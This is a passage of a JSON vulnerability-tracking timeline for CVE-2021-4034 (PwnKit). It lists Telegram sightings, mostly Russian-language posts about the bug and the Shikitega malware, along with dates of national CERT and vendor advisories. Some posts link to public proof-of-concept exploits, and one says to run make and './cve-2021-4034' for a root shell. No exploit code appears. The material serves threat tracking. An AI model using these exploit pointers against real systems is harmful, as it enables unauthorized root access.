PwnKit. \u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u043d\u043e\u043c\u0435\u0440 CVE-2021-4034, \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 pkexec, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432\u043e \u0432\u0441\u0435\u0445 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445.\n\nPwnKit \u2014 \u044d\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 root \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Linux \u0441 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. \u041a\u043e\u0434 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 (PoC) \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u043c\u0435\u043d\u0435\u0435 \u0447\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u0442\u0440\u0438 \u0447\u0430\u0441\u0430 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Qualys \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u0434\u043b\u044f PwnKit.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Qualys \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u0435\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u043e\u0441\u0445\u043e\u0434\u0438\u0442 \u043a \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 pkexec, \u0447\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Polkit. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0430 pkexec \u0432 \u043c\u0430\u0435 2009 \u0433\u043e\u0434\u0430 \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u043e\u0439 \u0431\u043e\u043b\u0435\u0435 12 \u043b\u0435\u0442.\n\n\ud83d\uddde \u0411\u043b\u043e\u0433 \u041a\u043e\u0434\u0435\u0431\u0430\u0439\n\n#linux #malware", "url": "https://t.me/codeby_sec/6165"}, {"timestamp": "2022-07-18T00:00:00Z", "date_only": true, "value": "2022-07-18", "kind": "kev", "label": "Due date", "source": "cisa-kev", "record": "CVE-2021-4034", "field": "evidence.0.details.due_date", "uuid": "0a662f09-c230-4d89-be13-4975ab3a3528", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-15T05:51:10Z", "date_only": false, "value": "2022-08-15T05:51:10.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/oFSJa4mQMTwhHRgGjWaZGXG4qtiHsmXGoJV729fA5D0l", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "612fbb91-c43d-4b22-9cf2-dd30e038a113"}, {"timestamp": "2022-09-06T19:10:01Z", "date_only": false, "value": "2022-09-06T19:10:01.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/proxy_bar/953", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "f6aea869-9037-420c-8efe-327088b2bba8", "content": "Shikitega\n\u041d\u043e\u0432\u0430\u044f \u043c\u0430\u043b\u0432\u0430\u0440\u044c \u043f\u043e\u0434 Linux (\u0445\u043e\u0442\u044f \u044e\u0437\u0430\u0435\u0442 \u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043d\u0435 \u043d\u043e\u0432\u044b\u0435: \u0437\u0430\u0431\u0440\u0430\u0442\u044c \u0442\u0443\u0442 CVE-2021-4034 \u0438  CVE-2021-3493)\n*\n\u0410 \u0446\u0435\u043b\u043e\u043c \u043d\u0438\u0447\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e, \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u0431\u0438\u0432 \u043f\u043e \u043a\u0440\u043e\u043d\u0443 \u043c\u0430\u0439\u043d\u0435\u0440 XMR (\u043d\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043d\u0435  \u0432\u0441\u0435 \u043f\u0440\u0438\u043b\u0435\u0442\u0435\u043b\u043e \u0441 C&C srv )\n\u0412 \u043e\u0431\u0449\u0435\u043c \u0432\u043e\u0442 \u0445\u043e\u0440\u043e\u0448\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0434\u043b\u044f \"\u043c\u044b\u043b\u043e\u0432\u0430\u0440\u043e\u0432\", \u043d\u043e \u0432 \u0446\u0435\u043b\u043e\u043c \u0435\u0441\u043b\u0438  \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043a\u0430\u043a\u0438\u0435 CVE \u044e\u0437\u0430\u0435\u0442 \u0438 \u043a\u0430\u043a\u0438\u0435 payload \u0437\u0430\u043a\u0438\u0434\u044b\u0432\u0430\u0435\u0442 \u0434\u0440\u043e\u043f\u043f\u0435\u0440 - \u044f\u0441\u043d\u043e \u0447\u0442\u043e \u043b\u044e\u0434\u0438 \u0432 patch \u043d\u0435 \u0443\u043c\u0435\u044e\u0442\\\u043d\u0435\u0445\u043e\u0442\u044f\u0442 \u043d\u043e \u0431\u0435\u043b\u044b\u0439 IP \u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u0438\u043c\u0435\u044e\u0442.\n*\n\u0418\u041d\u0442\u0435\u0440\u0435\u0441\u043d\u0430 \u0441\u043a\u043e\u0440\u0435\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 - \u0432  \u043e\u0431\u0449\u0435\u043c \u0432\u043e\u0442 \u0447\u0438\u0442\u0430\u0435\u043c\n\n#malware #linux #exploit #miner", "url": "https://t.me/proxy_bar/953"}, {"timestamp": "2022-09-06T20:21:02Z", "date_only": false, "value": "2022-09-06T20:21:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/arvin_club/5766", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "445369fb-1d96-4d79-8731-0b6d60795bc5", "content": "Self-contained exploit for CVE-2021-4034\u00a0\nhttps://github.com/ly4k/PwnKit/blob/main/README.md", "url": "https://t.me/arvin_club/5766"}, {"timestamp": "2022-09-11T09:19:15Z", "date_only": false, "value": "2022-09-11T09:19:15.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/itsec_news/1398", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "b4bac424-c6c3-448c-b888-4541b36b3878", "content": "\u200b\u26a1\ufe0f \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0448\u0442\u0430\u043c\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 IoT-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 Linux.\n\n\ud83d\udcac \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 AT&T Alien Labs \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u043d\u043e\u0432\u043e\u0435 \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Shikitega. \u041e\u043d\u043e \u0437\u0430\u0440\u0430\u0436\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0442\u0430\u043a \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u0432\u0435\u0449\u0435\u0439 \u043d\u0430 Linux., \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u0443\u044e \u0441\u0445\u0435\u043c\u0443 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043f\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u043e\u0442\u0435\u043d \u0431\u0430\u0439\u0442\u043e\u0432 \u0437\u0430 \u0448\u0430\u0433, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a\u0440\u0438\u043f\u0442\u043e\u0440 Shikata Ga Nai. \n\n\u042d\u0442\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u0438\u043c\u043e\u0440\u0444\u0438\u0437\u043c, \u0437\u0430\u0449\u0438\u0449\u0430\u044f \u043a\u043e\u0434 \u043e\u0442 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440. Shikitega \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0441\u0432\u043e\u0439 \u043a\u043e\u0434 \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437, \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0446\u0438\u043a\u043b\u043e\u0432 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f Mettle \u043a\u0430\u043a \u043e\u0431\u043b\u0435\u0433\u0447\u0435\u043d\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 Meterpreter, \u0441 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 CVE-2021-4034 \u0438 CVE-2021-3493. \u0418\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u0432\u0438\u0440\u0443\u0441\u0430 \u0432\u0435\u0441\u0438\u0442 376 \u0431\u0430\u0439\u0442.\n\n\u0426\u0435\u043b\u044c Shikitega \u2014 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u043c\u0430\u0439\u043d\u0435\u0440\u0430, \u043d\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0438 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438. \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0441\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 XMRig \u0434\u043b\u044f \u0434\u043e\u0431\u044b\u0447\u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b Monero. \u041f\u0430\u043a\u0435\u0442 Mettle \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u0435\u0431-\u043a\u0430\u043c\u0435\u0440\u043e\u0439, \u043a\u0440\u0430\u0441\u0442\u044c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u0431\u043e\u043b\u044c\u0448\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \n\nAT&T \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u043a\u0430\u043a \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u0435, \u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e Shikitega \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Linux, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0432 2021 \u0433\u043e\u0434\u0443.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0438\u043d\u0433\u0430 \u0434\u043b\u044f \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0447\u0430\u0441\u0442\u0438 \u0441\u0432\u043e\u0435\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438, \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044f\u0441\u044c \u043f\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0443 \u0432\u043c\u0435\u0441\u0442\u043e \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u043c\u0435\u043d\u0438. \n\n\u0412 \u043c\u0430\u0440\u0442\u0435 2021 \u0433\u043e\u0434\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 GRIMM \u0410\u0434\u0430\u043c \u041d\u0438\u043a\u043e\u043b\u0441 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2021-27365 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439) \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 iSCSI \u044f\u0434\u0440\u0430 Linux. \u0411\u0430\u0433 \u0432 \u043a\u043e\u0434\u0435 \u0431\u044b\u043b \u0441 2006 \u0433\u043e\u0434\u0430. \u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u043c\u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u0432\u0441\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b Linux.\n\n#Linux #\u041f\u041e #\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441 #\u0425\u0430\u043a\u0435\u0440\u044b\n\n\ud83d\udd14 ITsec NEWS", "url": "https://t.me/itsec_news/1398"}, {"timestamp": "2022-09-13T08:47:38Z", "date_only": false, "value": "2022-09-13T08:47:38.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/dgIX9-JNHvQPffFxnFjGM89P7cQGo13PHRh9h44qokhu7exZ", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "dd620892-0e0f-4e26-ace8-e7227d15d884"}, {"timestamp": "2022-09-20T22:00:00Z", "date_only": false, "value": "2022-09-20T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.12.date"}, {"timestamp": "2022-09-27T00:00:00Z", "date_only": false, "value": "2022-09-27T00:00:00.000000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_cisa \u00b7 ICSA-22-270-02", "record": "ICSA-22-270-02", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-09-27T00:00:00Z", "date_only": false, "value": "2022-09-27T00:00:00.000000Z", "kind": "milestone", "label": "Published", "source": "csaf_cisa \u00b7 ICSA-22-270-02", "record": "ICSA-22-270-02", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-09-27T00:00:00Z", "date_only": false, "value": "2022-09-27T00:00:00.000000Z", "kind": "other", "label": "Updated", "source": "csaf_cisa \u00b7 ICSA-22-270-02", "record": "ICSA-22-270-02", "field": "document.tracking.current_release_date"}, {"timestamp": "2022-10-10T07:32:55Z", "date_only": false, "value": "2022-10-10T07:32:55.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/poxek/2527", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "bacd65e2-a69a-43ed-a263-d74bbf53ff33", "content": "\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043e\u0431 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e CVE-2021-4034 aka Pwnkit\n\nCORS | E7PENTEST SUBSCRIBE", "url": "https://t.me/poxek/2527"}, {"timestamp": "2022-10-12T00:00:00Z", "date_only": true, "value": "2022-10-12", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-916", "record": "CERTFR-2022-AVI-916", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2022-10-13T00:00:00Z", "date_only": false, "value": "2022-10-13T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-916", "record": "CERTFR-2022-AVI-916", "field": "last_revision_date"}, {"timestamp": "2022-10-13T00:00:00Z", "date_only": false, "value": "2022-10-13T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-916", "record": "CERTFR-2022-AVI-916", "field": "initial_release_date"}, {"timestamp": "2022-10-13T00:00:00Z", "date_only": false, "value": "2022-10-13T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-916", "record": "CERTFR-2022-AVI-916", "field": "revisions.0.revision_date"}, {"timestamp": "2022-11-16T23:00:00Z", "date_only": false, "value": "2022-11-16T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.13.date"}, {"timestamp": "2022-12-11T23:00:00Z", "date_only": false, "value": "2022-12-11T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.14.date"}, {"timestamp": "2023-01-05T21:50:23Z", "date_only": false, "value": "2023-01-05T21:50:23.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/RESOLUTEATTACK/285", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "dafe0ed3-8b46-4612-b0b9-ee16436a4fc2", "content": "\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043e\u0431 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e CVE-2021-4034 aka Pwnkit\n\nCORS | E7PENTEST SUBSCRIBE\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438  #CVE", "url": "https://t.me/RESOLUTEATTACK/285"}, {"timestamp": "2023-01-23T00:00:00Z", "date_only": false, "value": "2023-01-23T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2023-AVI-0051", "record": "CERTFR-2023-AVI-0051", "field": "last_revision_date"}, {"timestamp": "2023-01-23T00:00:00Z", "date_only": false, "value": "2023-01-23T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2023-AVI-0051", "record": "CERTFR-2023-AVI-0051", "field": "initial_release_date"}, {"timestamp": "2023-01-23T00:00:00Z", "date_only": false, "value": "2023-01-23T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2023-AVI-0051", "record": "CERTFR-2023-AVI-0051", "field": "revisions.0.revision_date"}, {"timestamp": "2023-02-10T09:01:25.481Z", "date_only": false, "value": "2023-02-10T09:01:25.481Z", "kind": "other", "label": "Document generated", "source": "csaf_sick \u00b7 SCA-2022-0002", "record": "SCA-2022-0002", "field": "document.tracking.generator.date"}, {"timestamp": "2023-02-10T11:00:00Z", "date_only": false, "value": "2023-02-10T11:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_sick \u00b7 SCA-2022-0002", "record": "SCA-2022-0002", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2023-02-19T23:00:00Z", "date_only": false, "value": "2023-02-19T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0426", "record": "WID-SEC-W-2023-0426", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2023-03-08T16:58:29Z", "date_only": false, "value": "2023-03-08T16:58:29.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BugCod3/155", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "886bae7a-6555-4848-aff2-c8b65c9f3ac6", "content": "CVE-2021-4034\n\nOne day for the polkit privilege escalation exploit\n\nJust execute make, ./cve-2021-4034 and enjoy your root shell.\n\nGitHub\n\n#CVE #POC\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\ud83d\udc64 T.me/MRvirusIRBOT\n\ud83d\udce2 T.me/BugCod3", "url": "https://t.me/BugCod3/155"}, {"timestamp": "2023-03-14T00:00:00Z", "date_only": false, "value": "2023-03-14T00:00:00.000000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_cisa \u00b7 ICSA-23-075-01", "record": "ICSA-23-075-01", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2023-03-14T00:00:00Z", "date_only": false, "value": "2023-03-14T00:00:00Z", "kind": "other", "label": "Advisory revision", "source": "csaf_siemens \u00b7 SSA-419740", "record": "SSA-419740", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2023-03-14T00:00:00Z", "date_only": false, "value": "2023-03-14T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2023-AVI-0220", "record": "CERTFR-2023-AVI-0220", "field": "last_revision_date"}, {"timestamp": "2023-03-14T00:00:00Z", "date_only": false, "value": "2023-03-14T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2023-AVI-0220", "record": "CERTFR-2023-AVI-0220", "field": "initial_release_date"}, {"timestamp": "2023-03-14T00:00:00Z", "date_only": false, "value": "2023-03-14T00:00:00.000000Z", "kind": "milestone", "label": "Published", "source": "csaf_cisa \u00b7 ICSA-23-075-01", "record": "ICSA-23-075-01", "field": "document.tracking.initial_release_date"}, {"timestamp": "2023-03-14T00:00:00Z", "date_only": false, "value": "2023-03-14T00:00:00Z", "kind": "milestone", "label": "Published", "source": "csaf_siemens \u00b7 SSA-419740", "record": "SSA-419740", "field": "document.tracking.initial_release_date"}, {"timestamp": "2023-03-14T00:00:00Z", "date_only": false, "value": "2023-03-14T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2023-AVI-0220", "record": "CERTFR-2023-AVI-0220", "field": "revisions.0.revision_date"}, {"timestamp": "2023-03-14T00:00:00Z", "date_only": false, "value": "2023-03-14T00:00:00.000000Z", "kind": "other", "label": "Updated", "source": "csaf_cisa \u00b7 ICSA-23-075-01", "record": "ICSA-23-075-01", "field": "document.tracking.current_release_date"}, {"timestamp": "2023-03-14T00:00:00Z", "date_only": false, "value": "2023-03-14T00:00:00Z", "kind": "other", "label": "Updated", "source": "csaf_siemens \u00b7 SSA-419740", "record": "SSA-419740", "field": "document.tracking.current_release_date"}, {"timestamp": "2023-04-03T22:00:00Z", "date_only": false, "value": "2023-04-03T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-0302", "record": "WID-SEC-W-2022-0302", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2023-04-03T22:00:00Z", "date_only": false, "value": "2023-04-03T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-0432", "record": "WID-SEC-W-2022-0432", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2023-06-14T21:10:04Z", "date_only": false, "value": "2023-06-14T21:10:04.000000Z", "kind": "sighting", "label": "Seen", "source": 